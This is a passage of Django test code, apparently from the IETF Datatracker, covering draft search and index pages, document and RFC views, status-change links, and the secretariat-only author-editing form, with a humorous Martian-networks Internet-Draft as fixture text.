doc_not_in_process = IndividualDraftFactory() r = self.client.get(urlreverse('ietf.doc.views_search.drafts_in_iesg_process')) self.assertEqual(r.status_code, 200) self.assertContains(r, doc_in_process.title) self.assertContains(r, escape(doc_in_process.action_holders.first().name)) self.assertNotContains(r, doc_not_in_process.title) def test_indexes(self): draft = IndividualDraftFactory() rfc = WgRfcFactory() r = self.client.get(urlreverse('ietf.doc.views_search.index_all_drafts')) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.name) self.assertContains(r, rfc.canonical_name().upper()) r = self.client.get(urlreverse('ietf.doc.views_search.index_active_drafts')) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) def test_ajax_search_docs(self): draft = IndividualDraftFactory() # Document url = urlreverse('ietf.doc.views_search.ajax_select2_search_docs', kwargs={ "model_name": "document", "doc_type": "draft", }) r = self.client.get(url, dict(q=draft.name)) self.assertEqual(r.status_code, 200) data = r.json() self.assertEqual(data[0]["id"], draft.pk) # DocAlias doc_alias = draft.docalias.first() url = urlreverse('ietf.doc.views_search.ajax_select2_search_docs', kwargs={ "model_name": "docalias", "doc_type": "draft", }) r = self.client.get(url, dict(q=doc_alias.name)) self.assertEqual(r.status_code, 200) data = r.json() self.assertEqual(data[0]["id"], doc_alias.pk) def test_recent_drafts(self): # Three drafts to show with various warnings drafts = WgDraftFactory.create_batch(3,states=[('draft','active'),('draft-iesg','ad-eval')]) for index, draft in enumerate(drafts): StateDocEventFactory(doc=draft, state=('draft-iesg','ad-eval'), time=datetime.datetime.now()-datetime.timedelta(days=[1,15,29][index])) draft.action_holders.set([PersonFactory()]) # And one draft that should not show (with the default of 7 days to view) old = WgDraftFactory() old.docevent_set.filter(newrevisiondocevent__isnull=False).update(time=datetime.datetime.now()-datetime.timedelta(days=8)) StateDocEventFactory(doc=old, time=datetime.datetime.now()-datetime.timedelta(days=8)) url = urlreverse('ietf.doc.views_search.recent_drafts') r = self.client.get(url) self.assertEqual(r.status_code, 200) q = PyQuery(r.content) self.assertEqual(len(q('td.doc')),3) self.assertTrue(q('td.status span.text-warning *[title*="%s"]' % "for 15 days")) self.assertTrue(q('td.status span.text-danger *[title*="%s"]' % "for 29 days")) for ah in [draft.action_holders.first() for draft in drafts]: self.assertContains(r, escape(ah.name)) class DocDraftTestCase(TestCase): draft_text = """ Martian Special Interest Group (mars) P. Man Internet-Draft March 21, 2015 Intended status: Informational Expires: September 22, 2015 Optimizing Martian Network Topologies draft-ietf-mars-test-02.txt Abstract Techniques for achieving near-optimal Martian networks. Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at http://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on September 22, 2015. Copyright Notice Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. This document may contain material from IETF Documents or IETF Contributions published or made publicly available before November 10, 2008. The person(s) controlling the copyright in some of this Man Expires September 22, 2015 [Page 1] Internet-Draft Optimizing Martian Network Topologies March 2015 material may not have granted the IETF Trust the right to allow modifications of such material outside the IETF Standards Process. Without obtaining an adequate license from the person(s) controlling the copyright in such materials, this document may not be modified outside the IETF Standards Process, and derivative works of it may not be created outside the IETF Standards Process, except to format it for publication as an RFC or to translate it into languages other than English. Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2 2. Security Considerations . . . . . . . . . . . . . . . . . . . 2 3. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 2 4. Acknowledgements . . . . . . . . . . . . . . . . . . . . . . 3 5. Normative References . . . . . . . . . . . . . . . . . . . . 3 Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 3 1. Introduction This document describes how to make the Martian networks work. The methods used in Earth do not directly translate to the efficent networks on Mars, as the topographical differences caused by planets. For example the avian carriers, cannot be used in the Mars, thus RFC1149 ([RFC1149]) cannot be used in Mars. Some optimizations can be done because Mars is smaller than Earth, thus the round trip times are smaller. Also as Mars has two moons instead of only one as we have in Earth, we can use both Deimos and Phobos when using reflecting radio links off the moon. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [RFC2119]. 2. Security Considerations As Martians are known to listen all traffic in Mars, all traffic in the Mars MUST be encrypted. 3. IANA Considerations There is no new IANA considerations in this document. Man Expires September 22, 2015 [Page 2] Internet-Draft Optimizing Martian Network Topologies March 2015 4. Acknowledgements This document is created in the IETF-92 CodeSprint in Dallas, TX. 5. Normative References [RFC1149] Waitzman, D., "Standard for the transmission of IP datagrams on avian carriers", RFC 1149, April 1990. [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997. Author's Address Plain Man Deimos street Mars City MARS-000000 Mars Email: aliens@example.mars Man Expires September 22, 2015 [Page 3] """ def setUp(self): super().setUp() for dir in [settings.INTERNET_ALL_DRAFTS_ARCHIVE_DIR, settings.INTERNET_DRAFT_PATH]: with (Path(dir) / 'draft-ietf-mars-test-01.txt').open('w') as f: f.write(self.draft_text) def test_document_draft(self): draft = WgDraftFactory(name='draft-ietf-mars-test',rev='01') HolderIprDisclosureFactory(docs=[draft]) # Docs for testing relationships. Does not test 'possibly-replaces'. The 'replaced_by' direction # is tested separately below. replaced = IndividualDraftFactory() draft.relateddocument_set.create(relationship_id='replaces',source=draft,target=replaced.docalias.first()) obsoleted = IndividualDraftFactory() draft.relateddocument_set.create(relationship_id='obs',source=draft,target=obsoleted.docalias.first()) obsoleted_by = IndividualDraftFactory() obsoleted_by.relateddocument_set.create(relationship_id='obs',source=obsoleted_by,target=draft.docalias.first()) updated = IndividualDraftFactory() draft.relateddocument_set.create(relationship_id='updates',source=draft,target=updated.docalias.first()) updated_by = IndividualDraftFactory() updated_by.relateddocument_set.create(relationship_id='updates',source=obsoleted_by,target=draft.docalias.first()) # these tests aren't testing all attributes yet, feel free to # expand them r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") if settings.USER_PREFERENCE_DEFAULTS['full_draft'] == 'off': self.assertContains(r, "Show full document") self.assertNotContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) + "?include_text=0") self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertContains(r, "Show full document") self.assertNotContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) + "?include_text=foo") self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertNotContains(r, "Show full document") self.assertContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) + "?include_text=1") self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertNotContains(r, "Show full document") self.assertContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) self.client.cookies = SimpleCookie({str('full_draft'): str('on')}) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertNotContains(r, "Show full document") self.assertContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) self.client.cookies = SimpleCookie({str('full_draft'): str('off')}) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertContains(r, "Show full document") self.assertNotContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) self.client.cookies = SimpleCookie({str('full_draft'): str('foo')}) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") if settings.USER_PREFERENCE_DEFAULTS['full_draft'] == 'off': self.assertContains(r, "Show full document") self.assertNotContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Versions:") self.assertContains(r, "Deimos street") q = PyQuery(r.content) self.assertEqual(q('title').text(), 'draft-ietf-mars-test-01') self.assertEqual(len(q('.rfcmarkup pre')), 4) self.assertEqual(len(q('.rfcmarkup span.h1')), 2) self.assertEqual(len(q('.rfcmarkup a[href]')), 41) r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=draft.name, rev=draft.rev))) self.assertEqual(r.status_code, 200) q = PyQuery(r.content) self.assertEqual(q('title').text(), 'draft-ietf-mars-test-01') rfc = WgRfcFactory() (Path(settings.RFC_PATH) / rfc.get_base_name()).touch() r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=rfc.canonical_name()))) self.assertEqual(r.status_code, 200) q = PyQuery(r.content) self.assertEqual(q('title').text(), f'RFC {rfc.rfc_number()} - {rfc.title}') # synonyms for the rfc should be redirected to its canonical view r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=rfc.rfc_number()))) self.assertRedirects(r, urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=rfc.canonical_name()))) r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=f'RFC {rfc.rfc_number()}'))) self.assertRedirects(r, urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=rfc.canonical_name()))) # expired draft draft.set_state(State.objects.get(type="draft", slug="expired")) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Expired Internet-Draft") # replaced draft draft.set_state(State.objects.get(type="draft", slug="repl")) replacement = WgDraftFactory( name="draft-ietf-replacement", time=datetime.datetime.now(), title="Replacement Draft", stream_id=draft.stream_id, group_id=draft.group_id, abstract=draft.abstract,stream=draft.stream, rev=draft.rev, pages=draft.pages, intended_std_level_id=draft.intended_std_level_id, shepherd_id=draft.shepherd_id, ad_id=draft.ad_id, expires=draft.expires, notify=draft.notify, note=draft.note) rel = RelatedDocument.objects.create(source=replacement, target=draft.docalias.get(name__startswith="draft"), relationship_id="replaces") r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Replaced Internet-Draft") self.assertContains(r, replacement.canonical_name()) self.assertContains(r, replacement.title) rel.delete() # draft published as RFC draft.set_state(State.objects.get(type="draft", slug="rfc")) draft.std_level_id = "bcp" draft.save_with_history([DocEvent.objects.create(doc=draft, rev=draft.rev, type="published_rfc", by=Person.objects.get(name="(System)"))]) rfc_alias = DocAlias.objects.create(name="rfc123456") rfc_alias.docs.add(draft) bcp_alias = DocAlias.objects.create(name="bcp123456") bcp_alias.docs.add(draft) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 302) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=bcp_alias.name))) self.assertEqual(r.status_code, 302) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=rfc_alias.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "RFC 123456") self.assertContains(r, draft.name) self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates included with RFC self.assertContains(r, obsoleted.canonical_name()) self.assertContains(r, obsoleted.title) self.assertContains(r, obsoleted_by.canonical_name()) self.assertContains(r, obsoleted_by.title) self.assertContains(r, updated.canonical_name()) self.assertContains(r, updated.title) self.assertContains(r, updated_by.canonical_name()) self.assertContains(r, updated_by.title) # naked RFC - also wierd that we test a PS from the ISE rfc = IndividualDraftFactory( name="rfc1234567", title="RFC without a Draft", stream_id="ise", std_level_id="ps") r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=rfc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "RFC 1234567") # unknown draft r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name="draft-xyz123"))) self.assertEqual(r.status_code, 404) def assert_correct_wg_group_link(self, r, group): """Assert correct format for WG-like group types""" self.assertContains( r, '(<a href="%(about_url)s">%(group_acro)s %(group_type)s</a>)' % { "group_acro": group.acronym, "group_type": group.type, "about_url": group.about_url(), }, msg_prefix='WG-like group %s (%s) should include group type in link' % (group.acronym, group.type), ) def test_draft_status_changes(self): draft = WgRfcFactory() status_change_doc = StatusChangeFactory( group=draft.group, changes_status_of=[('tops', draft.docalias.first())], ) status_change_url = urlreverse( 'ietf.doc.views_doc.document_main', kwargs={'name': status_change_doc.name}, ) proposed_status_change_doc = StatusChangeFactory( group=draft.group, changes_status_of=[('tobcp', draft.docalias.first())], states=[State.objects.get(slug='needshep', type='statchg')], ) proposed_status_change_url = urlreverse( 'ietf.doc.views_doc.document_main', kwargs={'name': proposed_status_change_doc.name}, ) r = self.client.get( urlreverse( 'ietf.doc.views_doc.document_main', kwargs={'name': draft.canonical_name()}, ) ) self.assertEqual(r.status_code, 200) response_content = r.content.decode() self.assertInHTML( 'Status changed by <a href="{url}" title="{title}">{name}</a>'.format( name=status_change_doc.name, title=status_change_doc.title, url=status_change_url, ), response_content, ) self.assertInHTML( 'Proposed status changed by <a href="{url}" title="{title}">{name}</a>'.format( name=proposed_status_change_doc.name, title=proposed_status_change_doc.title, url=proposed_status_change_url, ), response_content, ) def assert_correct_non_wg_group_link(self, r, group): """Assert correct format for non-WG-like group types""" self.assertContains( r, '(<a href="%(about_url)s">%(group_acro)s</a>)' % { "group_acro": group.acronym, "about_url": group.about_url(), }, msg_prefix='Non-WG-like group %s (%s) should not include group type in link' % (group.acronym, group.type), ) def login(self, username): self.client.login(username=username, password=username + '+password') def test_edit_authors_permissions(self): """Only the secretariat may edit authors""" draft = WgDraftFactory(authors=PersonFactory.create_batch(3)) RoleFactory(group=draft.group, name_id='chair') RoleFactory(group=draft.group, name_id='ad', person=Person.objects.get(user__username='ad')) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) # Relevant users not authorized to edit authors unauthorized_usernames = [ 'plain', *[author.user.username for author in draft.authors()], draft.group.get_chair().person.user.username, 'ad' ] # First, check that only the secretary can even see the edit page. # Each call checks that currently-logged in user is refused, then logs in as the named user. for username in unauthorized_usernames: login_testing_unauthorized(self, username, url) login_testing_unauthorized(self, 'secretary', url) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.client.logout() # Try to add an author via POST - still only the secretary should be able to do this. orig_authors = draft.authors() post_data = self.make_edit_authors_post_data( basis='permission test', authors=draft.documentauthor_set.all(), ) new_auth_person = PersonFactory() self.add_author_to_edit_authors_post_data( post_data, dict( person=str(new_auth_person.pk), email=str(new_auth_person.email()), affiliation='affil', country='USA', ), ) for username in unauthorized_usernames: login_testing_unauthorized(self, username, url, method='post', request_kwargs=dict(data=post_data)) draft = Document.objects.get(pk=draft.pk) self.assertEqual(draft.authors(), orig_authors) # ensure draft author list was not modified login_testing_unauthorized(self, 'secretary', url, method='post', request_kwargs=dict(data=post_data)) r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) self.assertEqual(draft.authors(), orig_authors + [new_auth_person]) def make_edit_authors_post_data(self, basis, authors): """Helper to generate edit_authors POST data for a set of authors""" def _add_prefix(s): # The prefix here needs to match the formset prefix in the edit_authors() view return 'author-{}'.format(s) data = { 'basis': basis, # management form _add_prefix('TOTAL_FORMS'): '1', # just the empty form so far _add_prefix('INITIAL_FORMS'): str(len(authors)), _add_prefix('MIN_NUM_FORMS'): '0', _add_prefix('MAX_NUM_FORMS'): '1000', # empty form _add_prefix('__prefix__-person'): '', _add_prefix('__prefix__-email'): '', _add_prefix('__prefix__-affiliation'): '', _add_prefix('__prefix__-country'): '', _add_prefix('__prefix__-ORDER'): '', } for index, auth in enumerate(authors): self.add_author_to_edit_authors_post_data( data, dict( person=str(auth.person.pk), email=auth.email, affiliation=auth.affiliation, country=auth.country ) ) return data def add_author_to_edit_authors_post_data(self, post_data, new_author, insert_order=-1, prefix='author'): """Helper to insert an author in the POST data for the edit_authors view The insert_order parameter is 0-indexed (i.e., it's the Django formset ORDER field, not the DocumentAuthor order property, which is 1-indexed) """ def _add_prefix(s): return '{}-{}'.format(prefix, s) total_forms = int(post_data[_add_prefix('TOTAL_FORMS')]) - 1 # subtract 1 for empty form if insert_order < 0: insert_order = total_forms else: # Make a map from order to the data key that has that order value order_key = dict() for order in range(insert_order, total_forms): key = _add_prefix(str(order) + '-ORDER') order_key[int(post_data[key])] = key # now increment all orders at or above where new element will be inserted for order in range(insert_order, total_forms): post_data[order_key[order]] = str(order + 1) form_index = total_forms # regardless of insert order, new data has next unused form index total_forms += 1 # new form post_data[_add_prefix('TOTAL_FORMS')] = total_forms + 1 # add 1 for empty form for prop in ['person', 'email', 'affiliation', 'country']: post_data[_add_prefix(str(form_index) + '-' + prop)] = str(new_author[prop]) post_data[_add_prefix(str(form_index) + '-ORDER')] = str(insert_order) def test_edit_authors_missing_basis(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) self.login('secretary') post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis='delete me' ) post_data.pop('basis') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 200) self.assertContains(r, 'This field is required.') def test_edit_authors_no_change(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'no change' before = list(draft.documentauthor_set.values('person', 'email', 'affiliation', 'country', 'order')) post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values('person', 'email', 'affiliation', 'country', 'order')) self.assertCountEqual(after, before, 'Unexpected change to an author') self.assertEqual(EditedAuthorsDocEvent.objects.filter(basis=change_reason).count(), 0) def do_edit_authors_append_authors_test(self, new_author_count): """Can add author at the end of the list""" draft = WgDraftFactory() starting_author_count = 3 DocumentAuthorFactory.create_batch(starting_author_count, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'add a new author' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors=draft.documentauthor_set.all(), basis=change_reason ) new_authors = PersonFactory.create_batch(new_author_count, default_emails=True) new_author_data = [ dict( person=new_author.pk, email=str(new_author.email()), affiliation='University of Somewhere', country='Botswana', ) for new_author in new_authors ] for index, auth_dict in enumerate(new_author_data): self.add_author_to_edit_authors_post_data(post_data, auth_dict) auth_dict['order'] = starting_author_count + index + 1 # for comparison later self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) self.assertEqual(len(after), len(before) + new_author_count) for b, a in zip(before + new_author_data, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + new_author_count) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), new_author_count) # The events are most-recent first, so first author added is last event in the list. # Reverse the author list with [::-1] for evt, auth in zip(change_events, new_authors[::-1]): self.assertIn('added', evt.desc.lower()) self.assertIn(auth.name, evt.desc) def test_edit_authors_append_author(self): self.do_edit_authors_append_authors_test(1) def test_edit_authors_append_authors(self): self.do_edit_authors_append_authors_test(3) def test_edit_authors_insert_author(self): """Can add author in the middle of the list""" draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'add a new author' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) new_author = PersonFactory(default_emails=True) new_author_data = dict( person=new_author.pk, email=str(new_author.email()), affiliation='University of Somewhere', country='Botswana', ) self.add_author_to_edit_authors_post_data(post_data, new_author_data, insert_order=1) self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) new_author_data['order'] = 2 # corresponds to insert_order == 1 expected = copy.deepcopy(before) expected.insert(1, new_author_data) expected[2]['order'] = 3 expected[3]['order'] = 4 self.assertEqual(len(after), len(expected)) for b, a in zip(expected, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) # 3 changes: new author, plus two order changes self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + 3) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), 3) add_event = change_events.filter(desc__icontains='added').first() reorder_events = change_events.filter(desc__icontains='changed order') self.assertIsNotNone(add_event) self.assertEqual(reorder_events.count(), 2) def test_edit_authors_remove_author(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'remove an author' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) # delete the second author (index == 1) deleted_author_data = before.pop(1) post_data['author-1-DELETE'] = 'on' # delete box checked self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) before[1]['order'] = 2 # was 3, but should have been decremented self.assertEqual(len(after), len(before)) for b, a in zip(before, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) # expect 2 events: one for removing author, another for reordering the later author self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + 2) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), 2) removed_event = change_events.filter(desc__icontains='removed').first() self.assertIsNotNone(removed_event) deleted_person = Person.objects.get(pk=deleted_author_data['person']) self.assertIn(deleted_person.name, removed_event.desc) reordered_event = change_events.filter(desc__icontains='changed order').first() reordered_person = Person.objects.get(pk=after[1]['person']) self.assertIsNotNone(reordered_event) self.assertIn(reordered_person.name, reordered_event.desc) def test_edit_authors_reorder_authors(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'reorder the authors' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) # swap first two authors post_data['author-0-ORDER'] = 1 post_data['author-1-ORDER'] = 0 self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) # swap the 'before' record order tmp = before[0] before[0] = before[1] before[0]['order'] = 1 before[1] = tmp before[1]['order'] = 2 for b, a in zip(before, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) # expect 2 events: one for each changed author self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + 2) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), 2) self.assertEqual(change_events.filter(desc__icontains='changed order').count(), 2) self.assertIsNotNone( change_events.filter( desc__contains=Person.objects.get(pk=before[0]['person']).name ).first() ) self.assertIsNotNone( change_events.filter( desc__contains=Person.objects.get(pk=before[1]['person']).name ).first() ) def test_edit_authors_edit_fields(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'reorder the authors' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) new_email = EmailFactory(person=draft.authors()[0]) post_data['author-0-email'] = new_email.address post_data['author-1-affiliation'] = 'University of Nowhere' post_data['author-2-country'] = 'Chile' self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) expected = copy.deepcopy(before) expected[0]['email'] = new_email.address expected[1]['affiliation'] = 'University of Nowhere' expected[2]['country'] = 'Chile' for b, a in zip(expected, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) # expect 3 events: one for each changed author self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + 3) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), 3) email_event = change_events.filter(desc__icontains='changed email').first() affiliation_event = change_events.filter(desc__icontains='changed affiliation').first() country_event = change_events.filter(desc__icontains='changed country').first() self.assertIsNotNone(email_event) self.assertIn(draft.authors()[0].name, email_event.desc) self.assertIn(before[0]['email'], email_event.desc) self.assertIn(after[0]['email'], email_event.desc) self.assertIsNotNone(affiliation_event) 